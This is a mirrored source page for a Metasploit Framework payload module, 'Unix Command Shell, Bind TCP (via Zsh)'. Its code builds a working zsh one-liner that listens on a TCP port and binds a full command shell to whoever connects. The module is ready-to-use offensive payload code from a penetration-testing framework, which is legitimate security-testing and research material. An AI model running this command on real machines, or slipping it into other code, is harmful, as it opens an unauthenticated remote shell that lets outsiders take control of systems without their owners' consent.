Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/bind_zsh.rb
21551 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 99
8
9
include Msf::Payload::Single
10
include Msf::Sessions::CommandShellOptions
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Unix Command Shell, Bind TCP (via Zsh)',
17
'Description' => %q{
18
Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is
19
often available, please be aware it isn't usually installed by default.
20
},
21
'Author' => [
22
'Doug Prostko <dougtko[at]gmail.com>', # Initial payload
23
'Wang Yihang <wangyihanger[at]gmail.com>' # Simplified redirections
24
],
25
'License' => MSF_LICENSE,
26
'Platform' => 'unix',
27
'Arch' => ARCH_CMD,
28
'Handler' => Msf::Handler::BindTcp,
29
'Session' => Msf::Sessions::CommandShell,
30
'PayloadType' => 'cmd',
31
'RequiredCmd' => 'zsh',
32
'Payload' => {
33
'Offsets' => {},
34
'Payload' => ''
35
}
36
)
37
)
38
register_advanced_options(
39
[
40
OptString.new('ZSHPath', [true, 'The path to the ZSH executable', 'zsh'])
41
]
42
)
43
end
44
45
#
46
# Constructs the payload
47
#
48
def generate(_opts = {})
49
super + command_string
50
end
51
52
#
53
# Returns the command string to use for execution
54
#
55
def command_string
56
"#{datastore['ZSHPath']} -c 'zmodload zsh/net/tcp && ztcp -l #{datastore['LPORT']} && ztcp -a $REPLY && #{datastore['ZSHPath']} >&$REPLY 2>&$REPLY 0>&$REPLY'"
57
end
58
end
59
60